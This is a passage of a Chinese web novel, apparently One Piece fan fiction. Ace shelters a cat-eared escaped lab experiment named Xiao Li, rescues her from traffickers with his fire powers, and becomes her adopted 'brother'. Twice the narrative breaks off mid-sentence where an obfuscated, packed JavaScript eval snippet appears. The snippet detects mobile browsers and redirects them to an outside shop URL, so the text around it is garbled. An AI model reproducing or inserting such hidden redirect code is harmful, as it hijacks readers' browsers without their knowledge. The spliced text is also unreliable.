她打了个哈欠。雨越下越大,艾斯步履匆匆地从外面回来,抖落伞上的水珠,手里提着保温饭盒。 房间有些湿冷,但小狸总觉得艾斯一回来,室温就悄然升高。他身边仿佛自带暖意,让她不自觉地想靠近。变成小猫时更是粘人,艾斯总是一回头,就发现那只通体漆黑的小猫靠着自己呼呼大睡。 “外面雨势不小,估计也不会有人来了,今天早点关门吧。”艾斯边说边放下饭盒。 小狸“嗯”了一声,从椅子上跳下来,打开室内的灯,关上诊所的门。窗外,雨水已大到织成雨幕,噼里啪啦地砸在地上,溅起迷蒙的水雾。 得益于之前的“财富自由”,如今两人的餐桌菜色相当丰盛。艾斯偶尔还会和几个相熟的探险队成员,去中心城边缘的黑市淘点罕见食材。 晚餐本在愉快中进行,小狸的耳朵却一直不安地抖动,她抬起眼,望向屋顶。 “艾斯……我总觉得,上面好像有奇怪的声音。” 艾斯顺着她的目光看去,耳边只有雨水敲打棚顶的滴答声。“应该是雨声吧?” 话音未落,头顶突然传来屋顶不堪重负的、令人牙酸的嘎吱声——紧接着,几乎是瞬间,雨水如同决堤的小溪,哗啦一声冲进屋内!与此同时,灯光骤灭,电路被切断,坐在正下方的两人被浇了个透心凉! “呀——!”小猫发出一声短促的惨叫,本能地像颗炮弹般弹射到远处的沙发上,险险躲过水柱。 而正下方的艾斯,从头到脚被淋得彻底,但他反应极快地高举双手,稳稳托住了两人的餐盘,敏捷地退到一旁——至少食物保住了。 一阵沉默。只有雨水不断从破洞涌入的哗哗声,在黑暗中格外清晰。 两人都湿透了,头发狼狈地贴在脸上,水珠顺着下巴滴落。他们四目相对,看着彼此落汤鸡般的模样,嘴角开始不受控制地上扬,最终,不约而同地爆发出畅快的大笑声。 笑过之后,现实问题亟待解决。屋顶漏了,电也停了。他们只能用最原始的办法,一桶一桶地将屋里的积水运出去。所幸这场暴雨来得猛,去得也快,折腾了两个多小时后,雨势渐歇。 天已黑透,无法摸黑修理。小狸的床铺被雨水浸透,她精疲力尽,像条失去梦想的咸鱼瘫在沙发上,连吃饭的胃口都没了,决定一切等天亮再说。 夜晚,气温因漏风和雨水而越来越低。小狸裹着艾斯平时盖的薄毯,蜷在沙发上。艾斯则在沙发边打了个简单的地铺。 后半夜,寒意渐浓。睡梦中的艾斯感觉到一个毛茸茸、暖烘烘的东西贴上了自己的后背,还在不安分地拱来拱去。他睡得迷迷糊糊,并未深思,只是本能地翻了个身,将那个自动送上门的“小暖炉”更紧地搂进怀里,汲取着那份令人安心的温暖。 而小猫也是半夜被冻醒,下意识地寻找热源,最终循着本能钻进了唯一散发着融融暖意的怀抱。结果,沙发空了下来,小黑猫卷着毯子,和艾斯一起相拥着睡在了地铺上。 第二天小狸醒来时,发现自己已经回到了沙发上,身上盖着温暖的毯子。不知为何,她睡得格外香甜。艾斯早已起床,正站在屋顶上,研究着那个破洞。 毯子里太过舒适,小狸伸了个懒腰,又眷恋地缩了 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小狸鼓捣了半天,信号依旧糟糕。她放弃了,大字型瘫在房顶上,一脸生无可恋。 艾斯钉好最后一颗钉子,用余光瞥了一眼身旁百无聊赖的少女,忽然开口,哼唱起那首在大海上广为流传的歌谣: ““呦嚯嚯嚯呦嚯嚯嚯—— 将宾克斯的酒送到你身旁—— 像海风随心所欲乘风破浪—— 在海的彼岸—— 夕阳也喧闹—— ……” 小狸的耳朵瞬间立了起来,像被无形的线牵引住。她晃着脑袋,专注地捕捉着这节奏鲜明、充满自由气息的旋律。 “这个!是什么?”她蓝眼睛里闪烁着新奇的光。 艾斯双手向后支着身体,和她一起沐浴在阳光下。“是我家乡的歌。” 小狸看着他眼中流露的怀念,明白他又在想念那片海了。心里,忽然涌起一丝……羡慕。 她暂时还不明白,艾斯怀念的不只是海,更是那片海上承载的归宿与家人。她说不好自己在羡慕什么,只是觉得心口微微发堵,有点闷。她下意识摸了摸胸口。但是,艾斯唱歌时,看起来真的很快乐。海,一定非常非常美吧。 这首歌的旋律简单而富有感染力,小狸听了几遍就能跟着哼唱起来。她轻轻摇晃着身体,小声地跟着哼。 艾斯看着她沉浸其中的模样,心底柔软得像被阳光晒暖的海水。一个此前从未有过的、有些大胆的念头,如同潜藏的火星,骤然蹿起—— 如果开口……小狸,会愿意跟着我离开这里吗? 他的船上,本就聚集了一群他“捡”回来的、性格各异的伙伴,但大家都是好人,一定会喜欢并善待这只敏感又坚强的小猫…… 这个念头让他自己都吃了一惊,迅速警醒过来。我在想什么?他只是一个被善良小猫救助的、身份不明的异乡客,凭什么生出将她带离故土的念头?哪怕这片故土如此残酷…… 他用力摇了摇头,试图将这个过于“出格”的想法甩出去。 但有些种子,一旦落入心田,即便被刻意忽视,也会悄然扎根,在无人察觉的角落,默默等待着破土而出的时机。 10. 升起的太阳 因前阵子的闹剧,小狸似乎慢慢习惯了那些在诊所附近徘徊的、带着试探的视线。毕竟,那些猎头的目光大多聚焦在艾斯身上。即便现在,也偶尔有几个生面孔在远处徘徊,不进门,只是远远观望。 小狸有些恼怒地明确表示不会接待他们,但这些人依旧不走。领头的男人甚至嬉皮笑脸地同她攀谈,话题却透着古怪——明明是冲着艾斯来的,在打听完艾斯回来的时间后,话头总是不着痕迹地拐到小狸身上,尤其对她左臂上那串数字刺青,流露出过分的兴趣。 小狸烦躁起来,尾巴在地面上甩得“啪啪”作响。但那男人堵着门,一副得不到满意答案就不肯罢休的强势姿态,让她心里发慌,不自觉地往后退了半步。 艾斯回来时,看到的正是这样一幕——一个剃着光头、身材高大的男人,懒洋洋地倚在门框上。那人头上纹着一只栩栩如生的蝎子,仿佛正趴在他光亮的头皮上,狰狞的尾钩横过眼角,平添几分戾气。他正弯着腰,带着十足的压迫感,俯视着门内紧张得耳朵压成飞机耳、几乎要炸毛的小狸。 “喂!你们干嘛的?!”艾斯快步上前,声音里带着压抑的怒火,周身隐隐散发出炙热的温度。 注意到他回来,那蝎子男立刻举起了双手,做出无害的姿态,脸上堆起笑容:“别误会,小哥。我只是听说这里住了位厉害人物,过来打个招呼。怎么样,有兴趣……” “没兴趣。”艾斯打断他,眼神冰冷,“你们如果再来烦……” 话未说完,那蝎子男竟异常利落地转身,笑呵呵地往外走,一副“伸手不打笑脸人”的圆滑模样。并非以貌取人,但那笑容嵌在他布满横肉、带着蝎纹的脸上,只让人感到一种湿冷的黏腻与不适。 “那就不打扰了。”他干脆得反常,没有丝毫纠缠。 这反而让小狸和艾斯愣住了,对视一眼,都从对方眼中看到了同样的疑虑。 “最近要小心一些。”艾斯沉声道。 “嗯。”小狸用力点头,不自觉地打了个哆嗦,“你也是。总觉得……他看起来让人很不舒服。感觉,湿湿冷冷的……”她甩甩头,警醒自己最近有些过于松懈了,“我们晚上煮点汤喝吧,暖和一下……” 第二天下午,艾斯依旧早早出门,继续打探回去的线索。小狸见无人上门,也准备提前关门。 但今天有些不同。诊所前那条熟悉的小巷里,似乎多了一缕若有若无的视线。她的直觉向来敏锐,可每次凝神去捕捉,面前只有空荡荡的巷道和昏黄路灯投下的、扭曲的影子。 小狸其实不太喜欢锈带的夜晚,这里连白日都谈不上安全。但那视线带来的不安感挥之不去,她犹豫再三,还是踱步到门口,望向视线传来的方向—— 是之前那个女孩! 她满身泥污,蜷缩在巷角的阴影里,手指无意识地抠抓着地面,一双赤红的眼睛,正死死盯着诊所门口的小狸。 小狸清晰地感受到了她传递出的、近乎绝望的焦急。注意到小狸的视线,女童从阴影中爬了出来,喉咙里发出断续的、属于野兽的呜咽。 同为实验品,小狸瞬间明白了她的意思: 跟我走。帮帮我。 小狸看了看漆黑深邃、仿佛能吞噬一切的小巷,又抬头望了望阴沉的天色,内心挣扎。但是……果然还是无法放着不管。尤其……同为被遗弃的实验品,她太明白彼此活在世间的艰难。那个男孩,他看向妹妹的眼神…… 她叹了口气,转身回去简单收拾了一下背包。哪怕帮不上大忙,至少,带些食物和药物过去。她仍有些担心会被女童攻击,站在门口,保持着距离,远远地朝那边喊道: “我跟你过去!你带路吧!” 她跟着女童,深一脚浅一脚地穿行在泥泞曲折的小巷里。道路越来越破败,两侧堆积着如山的建筑废料和生活垃圾。最终,她们停在了一个用破烂木头和肮脏帆布勉强搭起来的窝棚前。在这样的天气里,它根本起不到丝毫保暖的作用。 那天的男孩,就一动不动地躺在里面。 女童爬到他身边,伸出舌头,一遍遍舔舐着他冰冷灰败的脸颊,发出痛苦而绝望的呜咽。 小狸只是靠近了些,便停下了脚步。她提着背包的手无力地垂下,抿紧了嘴唇。 他已经死了。 女童徒劳地蹭着哥哥早已失去温度的身体,悲鸣声在寂静的垃圾堆里回荡,显得格外凄厉。小狸也没想到,他竟会比他那基因崩溃的妹妹更早离世。但,在锈带,死去一个人,就是如此平常、如此悄无声息的一件事。 小狸没有再试图靠近男孩的尸体,也没有冒然生出将女孩带回去的念头——那不现实,也太危险。她默默放下背包,想取出里面的食物和清水,放在稍远一点的空地上。 仅仅是这个动作,就刺激得女童猛地抬起头,赤红的眼中凶光毕露,冲她发出威胁性的低吼。 小狸立刻举起双手,缓缓后退,一步步远离这个充满死亡与悲伤的角落。她目光黯淡地看着女童那明显更加不稳的状态,心中沉重。她……挺不了太久了。 小狸垂头丧气地往回走,甚至无心去计较那个被迫留下的背包。鞋子踩在泥泞里,发出“啪嗒、啪嗒”的黏腻声响,溅起的冰冷泥点沾湿了她的裤脚。 当她穿过来时的那条小巷,走到中段时,一股湿冷得如同毒蛇般的视线,再次缠了上来!这一次,比以往任何一次都要强烈、更具实质感,几乎让她皮肤泛起鸡皮疙瘩,仿佛真的被冷血动物缠绕住脖颈。 小狸猛地顿住脚步,心脏骤然狂跳起来。那视线的源头,就在她前方巷道的黑暗深处。她开始慢慢倒退,不敢轻易转身,眼睛急速扫视着两侧,寻找任何可能的逃跑路线。 就在这时,两个穿着黑色大衣、戴着兜帽、看不清面容的男人,如同鬼魅般从阴影中浮现,堵住了前方的去路。而她的身后,也传来了清晰的脚步声——另一个同样打扮的男人正从她来的方向走出,手里……拿着一件她再熟悉不过的东西——专门用于制服实验品的肌松剂发射器,针头在微弱的光线下闪烁着冰冷的寒光。 “哟,小猫咪,一个人走夜路多不安全啊。”为首的男人声音沙哑,带着令人作呕的戏谑笑意,一步步逼近,“要不要叔叔送你回家啊?回我家~怎么样?” 小狸的猫瞳瞬间收缩成一条细线,尾巴应激般炸开,毛发倒竖,耳朵也紧紧压成飞机耳。男人兜帽下,那纹在眼角的蝎子图案,在昏暗光线下反射着诡异的微光。 小狸在这种时刻,心里竟诡异般地生出一丝“果然如此”的、尘埃落定般的平静。一种早就潜藏在心底的、对实验品命运的默认预感,成了真。 她没有接话,只是继续慢慢后退,大脑飞速运转,思考着脱身的办法,手心因紧张而沁出冷汗。 男人嗤笑一声,晃了晃手中的注射器,那针头长得骇人:“乖乖别动,小猫咪。你品相这么好,一定能卖个大价钱呢。打坏了……多可惜。” 小狸咬紧牙关。面对三个明显有备而来、体格强壮的成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941737|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年男性,她赤手空拳,根本没有胜算。此刻,她才无比后悔将那个装着防身物品的背包留在了窝棚。 不能坐以待毙! 就在身后那个拿着发射器的男人靠近的瞬间,小狸猛地发力,用尽全身力气向后撞去! 那男人显然没料到这只“小猫咪”还敢反抗,被撞得一个趔趄。小狸的爪子在擦身而过的瞬间弹出,狠狠刺进他持械的手腕! “啊!”男人痛呼一声,肌松剂发射器“叮当”一声掉落在泥水里。 小狸毫不犹豫,抓住这转瞬即逝的机会,像支离弦的箭,朝着巷口有光的方向拼命冲去!只要跑到开阔地带,就算在锈带,他们也不敢明目张胆地绑架! “妈的!你是白痴吗?!这都能让她跑了!”蝎子男的怒骂声从身后传来。 小狸顾不上回头,将所有的力量都灌注在双腿上。然而,就在她即将冲出巷口的一刹那,一阵尖锐的剧痛猛地从脚踝处炸开!紧接着,下肢仿佛瞬间被抽走了所有力气,酸软无力感潮水般涌上,她不受控制地向前扑倒,重重摔在冰冷的泥水里,滚了满身污秽。 “幸好老子还准备了备用的!蠢猪!废物!”蝎子男骂骂咧咧地走过来,狠狠踹了那个被小狸所伤的同伙几脚。他看着在泥水中挣扎却无法起身的小狸,不慌不忙地晃悠过来,高大的阴影彻底将她笼罩。 “跑啊!怎么不跑了?哈哈哈哈!”他蹲下身,用那冰冷的针筒,带着十足的羞辱意味,拍了拍小狸沾满泥水的脸颊。 小狸从喉咙里挤出一声愤怒的低吼,用尽上半身最后的力气,爪子猛地挥出,擦着他的嘴角划了过去,留下几道血痕。 男人目光一沉,伸出舌头舔掉嘴角的血渍,非但没有动怒,反而怒极反笑,眼神变得更加阴鸷:“放心,我不会打你的。破相了……可就卖不上好价钱了。” 小狸死死咬着下唇,此刻反而流不出眼泪。下肢的无力感和内心巨大的恐惧交织在一起,几乎让她窒息。脑海中不受控制地闪过艾斯那张总是带着灿烂笑容、如同太阳般温暖的脸庞…… 他回来找不到我……该怎么办? 他……能自己找到回家的路吗? 还是……回去吧,回到他的大海去……那样,至少他不会因为我的消失而难过…… 其实……早就该有心理准备的吧?实验品的结局,向来只有两种:悄无声息地死掉,或者……变成明码标价的商品。 指尖开始传来麻木感,她无力地仰望着被阴云彻底遮蔽的、没有一丝光亮的天空。 到最后……连月亮,都看不到么? 就在她彻底放弃希望,准备闭上眼睛迎接既定命运的瞬间—— “轰——!!!” 一束炽热、耀眼、如同撕裂黑夜的闪电般的火焰,从小巷的另一端奔袭而来!那光芒如此强烈,几乎刺痛了小狸因绝望而模糊的双眼。 火焰在她与那些恶徒之间悍然炸开,形成一道灼热的气浪,逼得蝎子男连连后退。 透过跳跃的火光,她看到了那个坚定挡在她身前的背影。黑色的短发在热浪中拂动,熟悉的橙色牛仔帽檐下,是她此刻最渴望见到的侧脸。 一直死死紧绷着的、用于维持最后尊严与坚强的情绪,在这一刻彻底土崩瓦解。巨大的委屈和后怕如同汹涌的潮水,瞬间冲垮了她所有的心防。 蔚蓝色的眼眸中,一直被强忍的泪水,终于决堤般涌出,充满了眼眶。 虽然没有月亮,但是她的太阳,升起来了。 11. 羁绊 炙热的火焰如同坠地的旭日,悍然点亮了阴暗的小巷。紧随其后的,是一股难以言喻的、极致的高温冲击波,地面潮湿的积水仿佛被瞬间掠夺了存在,嘶鸣着化为白茫茫的水汽,空气中弥漫开灼热得令人窒息的气息。 小狸呆呆地仰望着那个她熟悉无比的背影—— 艾斯! 但他此刻的样子,却陌生而骇人!他的上半身剧烈地燃烧着熊熊的橙色火焰,仿佛他本身就是火焰的源头!屋檐上震落的雨水根本无法触及他,在滴落至他周身范围的瞬间,就被彻底汽化,形成一片缭绕的、将他衬得如同神祇临世般的朦胧白雾。跳跃升腾的火焰将他写满愤怒的面容映照得明暗不定,那双总是蕴藏着爽朗笑意的黑眸,此刻燃烧着冰冷彻骨的怒火,如同从炼狱归来的炎神! “艾…斯……?”小狸喃喃道,几乎以为自己在绝望中产生了幻觉。 那三个男人也彻底愣住了,看着这超乎理解的一幕,手忙脚乱地掏出了随身武器。枪口齐刷刷对准了火焰中的艾斯,其中一人甚至举起了一柄看起来颇具威力的简易手炮。 “我们…我们也不想把事情闹大!”蝎子男强作镇定,声音却带着不易察觉的颤抖,“虽然不知道你搞得什么花里胡哨的戏法!想用这点障眼法和子弹对抗吗,小哥?老老实实把那个实验品交出来!为了个不值钱的实验品,没必要搭上自己的性命吧!” 艾斯的脸阴沉得可怕,声音低沉,带着毁灭性的压迫感,在狭窄的小巷中回荡。他甚至没有理会那些对准他的枪口,只是缓缓抬起了手臂——那手臂在他抬起的瞬间,便彻底元素化,化作了奔腾咆哮的炽热火焰! “火拳!” 随着他一声低喝,灼热的炎流如同愤怒的火龙,奔涌而出!狂暴的火焰瞬间吞没了站在前方的两个敌人,他们连惨叫都未能完全发出,便被巨大的冲击力裹挟着,如同破布玩偶般倒飞出去,重重撞在巷口的墙壁上,彻底失去了意识。 蝎子男看着同伴身上跳跃的、真实不虚的火焰,终于意识到这绝非什么障眼法,而是带着恐怖高温、足以致命的威胁!他惊恐地连连后退,徒劳地拍打着溅射到衣角的火苗。 艾斯甚至没有多看他们一眼,身形瞬间元素化成一道流动的火焰,以肉眼难以捕捉的速度冲到小狸身边。在他接触到岳小狸的瞬间,周身狂暴的火焰如同被驯服的猛兽,温柔地、顺从地尽数收敛、褪去。他小心翼翼地蹲下身,脸上写满了无法掩饰的焦急与担忧,声音都带着一丝不易察觉的颤抖: “小狸!你怎么样?伤到哪里了?!” 他的触碰真实而温暖,带着火焰余留的、令人安心的热度,瞬间驱散了夜晚的冰冷和浸透骨髓的绝望寒意。小狸看着他近在咫尺的、写满关切的脸庞,所有强撑的坚强彻底瓦解,恐惧化作了无尽的委屈喷涌而出。她几乎是带着撒娇般的哽咽,眼泪大颗大颗地滚落: “艾斯……我的脚……好痛……” “别怕!我在这里!”艾斯的声音瞬间变得无比柔软。他小心翼翼地检查她纤细的脚踝,看到那枚细小的针孔和周围开始扩散的淤青与麻木,眉头紧紧锁住。 小狸看着他因担忧而有些不知所措的样子,咬了咬牙,伸手自己利落地将脚踝上的针头拔了出来。安心下来后,理智回笼,她觉得刚才的反应有点小题大做,小声补充:“其实……也没那么痛了。有点麻,痛觉反而不太敏感……” 她正想再说点什么安抚他,眼角的余光却猛地瞥见艾斯身后——那个本该逃跑的蝎子男,不知何时捡起了同伴掉落的手枪,脸上带着穷途末路的狞笑,毫不犹豫地扣动了扳机! “艾斯!小心!!”小狸的心脏几乎跳出胸腔!可恶!动不了!她拼尽全力,身体却因药物的作用无法挪动分毫,只能眼睁睁地看着那颗子弹呼啸着,穿过了艾斯的后脑,又从他的额头穿出! 预想中的悲鸣卡在了喉咙里,小狸的瞳孔骤然缩紧! 没有鲜血飞溅,没有脑浆崩裂。子弹穿过的地方,只是两簇瞬间腾起、又瞬间弥合的金橙色火焰!仿佛那只是一道无关紧要的幻影,艾斯的头颅完好如初,甚至连一丝伤痕都未曾留下! 艾斯像是根本没有察觉到有子弹“穿过”了自己的大脑,甚至连偏头的动作都显得漫不经心。他只是淡淡地回头,瞥了一眼那个举着枪、如同见了鬼般浑身僵硬的蝎子男。 蝎子男脸上的狞笑早已被极致的恐惧所取代,他整个人瘫软地跌坐在地,手枪“哐当”掉落在泥水里。他只是失神地望着艾斯,嘴唇哆嗦着,反复喃喃: “怪物……怪物……!” 艾斯不再理会他,转回身,小心翼翼地扶起小狸,帮助她趴上自己宽阔而温暖的背脊。小狸用尚能活动的手臂,依赖地环住他的脖颈。艾斯轻松地背起她,心里却下意识地闪过一个念头:明明喂了这么久,怎么还是这么轻飘飘的,像片羽毛。 当然,他从来不是什么以德报怨的圣人。 两人离开小巷后,一团更加狂暴、更加炽烈的火柱,如同审判之矛,冲天而起!瞬间将瘫软在地的蝎子男和他那两个昏迷的同伴彻底吞噬。凄厉的哀嚎与绝望的尖叫短暂地笼罩了小巷,随即又在火焰的爆鸣中戛然而止。 小狸的耳朵敏感地抖动了一下,但她没有回头,只是像什么都没发生一样,轻轻将自己的下巴垫在了艾斯坚实可靠的肩膀上。 那象征着罪恶终结的声响,迅速消散在锈带的夜色里,没有激起一丝多余的涟漪。毕竟,这里是锈带。好奇心与同情心,是这里最奢侈也最致命的东西。 而某只此刻正安心趴在艾斯背上的小猫,不幸,或者说,幸运地同时拥有了这两种“不该有”的特质。 回到诊所,艾斯小心翼翼地将小狸安置在柔软的沙发上。他被小狸指挥着,有些笨拙却异常仔细地找出医药箱,为她清理脚踝上那个小小的创口。虽然他的动作缓慢得近乎虔诚,但这本质上只是一个需要等待药物自行代谢的皮外伤。 小狸抱着水杯,小口小口地喝着温水,温暖的水流似乎也安抚了她受惊的神经。 气氛有些微妙的沉默。小狸偷偷瞄了一眼似乎还在为刚才的事后怕、有些出神的艾斯,轻声打破了寂静:“你……是怎么找到我的?” 艾斯看向她,眼神恢复了平日的温和:“我回来时,听到有人在议论,说最近来了个专门盯梢实验品的拐卖团伙。我怎么想都觉得不对劲,担心你有危险……”他顿了顿,似乎在想如何描述那种感觉,“然后,怎么说呢……大概是,直觉?” 他烦躁地抓了抓自己总是翘起几根不服帖发丝的黑发,像是在努力组织语言,准备揭开一个重要的秘密。 “小狸,”他终于开口,声音带着一丝沙哑和郑重,“对不起,我来晚了。”他抬起头,黑色的眼眸中充满了愧疚,以及一种终于下定决心的、不再掩饰的坦诚,“我……其实,不是这个世界的人。” 他深吸一口气,开始断断续续地讲述:“我来自一个大海远比陆地广阔得多的世界。在那里,我吃下过一种叫做‘烧烧果实’的恶魔果实,所以身体能变成火焰,也能操控火焰。我……是一个海贼。” 他讲完了自己最大的秘密,有些紧张地看着小狸,仿佛在等待最终的审判,担心她会因为他的隐瞒和这非人的能力而感到恐惧、排斥,甚至……厌恶。 小狸抱着膝盖,受伤的脚小心地搁在一边。她安静地听着,蔚蓝色的猫眼里有惊讶闪烁,但更多的,是一种“原来如此”的恍然和释然。难怪他总说些“伟大航路”之类她听不懂的话;难怪他受了那么重的伤却能以惊人的速度愈合;难怪他身上总是像个小火炉一样暖洋洋的…… 她轻轻地摇了摇头,眼神清澈而真诚:“该说对不起的是我……是我自己太大意了,才会陷入危险……谢谢你救了我,艾斯。”她望着他那双依旧带着些许不安的眼睛,仿佛要看到他的心底,然后,用一种无比确定的语气,轻轻地补充道,“……而且,艾斯的火焰,很温暖,一点都不可怕。” 艾斯明显地愣了一下,随即,一个如释重负的、无比明亮灿烂的笑容,如同冲破乌云的阳光,瞬间点亮了他的脸庞,仿佛所有的阴霾和担忧都被这句简单的话彻底驱散。“嗯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“嗯?”艾斯放下水杯,略带疑惑地看向她。 小狸的耳朵微微抖动了一下,身后的长尾有些紧张地卷曲起来,湛蓝色的猫瞳一眨不眨地、带着点恳求意味地望着他,声音轻得如同羽毛拂过心尖: “路飞……有你这样的哥哥,真好啊……”她停顿了一下,仿佛在积蓄勇气,才继续用那细弱的声音问道,“我……我也可以……叫你哥哥吗?” 艾斯明显愣住了,黑色的眼睛微微睁大,似乎完全没料到她会提出这样的请求。他看着女孩那双映照着灯光、带着纯粹羡慕和一丝脆弱依赖的蓝色眼眸,心脏最柔软的地方被轻轻触动,泛起一片温暖的涟漪。 哥哥么……艾斯心里忽然掠过一丝连自己都未能完全辨明的、混杂着些许奇异遗憾的失落感,但这份感觉转瞬即逝,被更汹涌的怜惜与保护欲所取代。 这样……也好。 他脸上的错愕很快化开,如同春冰消融,变成了一个无比爽朗、无比温柔,仿佛承载了所有阳光的笑容。他用力地点了下头,声音清晰而坚定: “当然可以啊!” 他甚至学着印象里和之国人们的称呼方式,笑着抬手锤了锤自己的胸口,带着点少年人特有的、略显浮夸的豪气,加了一句: “以后就由我来保护你了,小狸妹妹!” 小狸的眼睛瞬间亮了起来,像是将漫天星辰都收纳其中。一种巨大的、暖洋洋的、如同被世界上最柔软的绒毛包裹住的满足感,彻底淹没了她,冲散了之前所有残留的恐惧和不安。她有些害羞地低下头,白皙的脸颊染上淡淡的绯红,嘴角却抑制不住地向上扬起,勾勒出世界上最幸福的弧度。她用几乎微不可闻、却足以让艾斯听清的声音,轻轻地、试探地、无比珍重地叫了一声: “嗯……艾斯哥哥。” 那条黑色的、毛茸茸的猫尾巴尖,仿佛拥有了自己的生命,不受控制地、无比愉快地、悄悄在沙发垫子上,轻轻拍打了一下。 窗外,不知何时,厚重的云层已然散开,露出一弯皎洁清冷的月亮。如水的清辉透过干净的玻璃窗,温柔地洒进屋内,静静地笼罩着沙发上相视而笑的火焰少年,和轻轻晃动着尾巴、第一次拥有了“哥哥”的猫耳少女。 仿佛整个世界,都在此刻为他们变得温柔而宁静。 12. 小小的宝物 自从那声“哥哥”叫出口后,小狸和艾斯之间的关系,仿佛“啵”地一声,轻轻捅破了一层看不见的薄纱,骤然进入了一种全新的、黏糊糊的阶段。 对于突然多了一个“哥哥”这件事,小狸适应得飞快,甚至有点……过于放飞自我。她骨子里那份属于猫科动物的、对亲密之人近乎本能的依赖和皮肤饥渴,像是终于找到了绝对安全的宣泄口,毫无保留地爆发出来。小狸自己也悄悄注意到,变回小猫形态后,似乎连心智都跟着变得更幼稚、更任性了一些。有事没事,她还会自己偷偷躲在角落“喵呜喵呜”地练习,认真研究自己的叫声够不够标准、像不像一只真正的猫——虽然这锈带根本找不到第二只活猫作为参考,她便心安理得地认定自己绝对是“官方标准音”。 秋意渐浓,空气里带上了一丝沁入骨髓的凉意。这本该是对离开了恒温实验室的小狸而言格外难熬的季节,但现在完全不同了——她拥有了一个行走的、恒温的、还会根据她靠近的程度自动调节“火力”的超级暖炉。 小黑猫总是亦步亦趋地黏在艾斯脚边,像个小巧的黑色影子,时不时故意用柔软的身体绊他一下。等艾斯无奈地停下脚步低头看她时,她便立刻仰起小脸,眨巴着那双清澈无辜的蓝宝石大眼睛,发出细声细气的、哼哼唧唧的叫声,同时伸出爪子勾住他的裤腿,磨得他只好放下手头的事,蹲下身好好揉揉她的脑袋和下巴,她才心满意足地放开,喉咙里发出胜利般的咕噜声。 不用在隐藏后艾斯的火焰真的是一个很方便的东西,烧火取暖,居家战斗,简直无往不利,直到试图帮小狸烘干洗过的头发险些把小猫烧成秃头后,看着小狸欲言又止的样子和看着不知道为什么头发短了一截的小狸强忍笑意吐槽新发型很丑的客人们,艾斯深刻的反省了自己的错误,主动接过了帮小狸擦头发的工作弥补自己的过错 此刻,艾斯正盘腿大大咧咧地坐在地上,眉头紧锁地对着这个世界的新闻屏幕发呆。快两个月了,关于回家的线索依旧石沉大海,渺无音讯。他有些烦躁地用手支着下巴,是自己当初想得太简单了么?到底该往哪个方向努力?还是说……应该冒险穿越那片广阔的荒漠去看看? 他正沉浸在自己的思绪里,忽然感觉腿上一沉,一股温暖柔软的触感透过薄薄的裤子传来。 低头一看——一只通体漆黑、毛色在光线下泛着健康光泽的蓝眼小猫,已经无比自然、理直气壮地在他腿窝的凹陷处蜷缩了起来,完美地团成了一块圆润的“猫饼”。她甚至还用毛茸茸的小脑袋在他腹部依赖地蹭了蹭,找到了最舒适的角度,然后发出了细微而满足的、如同小型引擎般的“咕噜咕噜”声。 艾斯:“……?” 他整个人瞬间僵住,两只原本随意放着的手下意识地举了起来,悬在半空,不知所措。虽然理智清楚地知道这是小狸,但……这形态转换带来的冲击,这过于自然的亲近,也太突然了!少女形态的小狸至少还会带着点别扭和羞怯,变回猫形后,简直是把“得寸进尺”四个大字明晃晃地写在了每一根抖动的绒毛上! “小…小狸?”他试探性地、压低声音叫了一声,生怕惊扰了腿上的“猫饼”。 黑猫只是懒洋洋地抬起一边眼皮,用那双清澈见底的蓝眼睛漫不经心地瞥了他一眼,尾巴尖敷衍地晃了一下,算是打过招呼,然后继续心安理得地闭眼假寐,那呼噜声甚至变得更加响亮和悠长了。 艾斯哭笑不得,但腿上那团毛茸茸、暖烘烘、随着呼吸微微起伏的小身体实在太过柔软,那全然信任又极度依赖的姿态,像是最轻柔的羽毛,精准地搔刮着他心底最柔软的地方,让他整颗心都变得软乎乎的,再也生不起半点走开的意思。 他小心翼翼地伸出手,轻轻地、用指腹抚摸上小狸后背光滑柔软的皮毛。 “咕噜噜——咕噜噜噜——”手下的回应是更加响亮、更加愉悦的呼噜声。小黑猫甚至主动向上拱了拱身子,将更多的背部区域送入他的掌心 艾斯忍不住低低地笑出了声,心底最后一丝僵硬也彻底融化。他放松下来,修长的手指陷入那如同顶级丝绸般顺滑的皮毛里,轻柔地梳理、抚摸着。和记忆中柯达兹那身带着野性、略显坚硬的短毛完全不同,小狸的毛发异常细软绵密,触感新奇得让人上瘾,也很……不错。 她的身体很小,很轻,像一团没有重量的、温暖的云,乖乖趴伏在他身上,平稳的呼吸和心跳透过布料隐约传来,仿佛他是她此刻全部的依靠和世界。在他思维终于回笼,思考着是否该换个姿势或者起身做点什么的时候,腿上的小猫已经暖乎乎、软绵绵地彻底睡着了,呼吸均匀而绵长。 艾斯:“……” 他只能维持着原本的姿势,双手向后撑着地面,像个被点了穴的人形猫窝。走不了,又不敢动,只能哭笑不得地接受着这份甜蜜又沉重的“负担”。 不知过了多久,门口传来一阵清脆的门铃声。艾斯下意识往门口看了一眼,小心地动了动有些发麻的腿,试图将睡得正香的小猫转移到旁边的沙发上。 然而,这细微的动作还是惊醒了小狸。她迷迷糊糊地抬起头,睡眼惺忪地自己跳了下来,先是大大地伸了个懒腰,脊椎弯成一道优美的弧线,然后晃晃悠悠地往前走了两步,接着便“吧嗒”一下,像是突然被抽走了骨头,软绵绵地侧倒在地上,发出一声又娇又嗲、拖长了尾音的:“喵~呜~~” 随后,她把自己重新蜷成一团毛球,只用那双水汪汪的蓝眼睛,眨巴眨巴的望着艾斯。 这种小猫特有的、明目张胆求关注的小心机,让艾斯觉得又好笑又心软,像被最轻的猫爪在心头挠了一下。他伸手摸了摸她重新凑过来的小脑袋,耐心地解释:“我去看一眼门口,很快。” 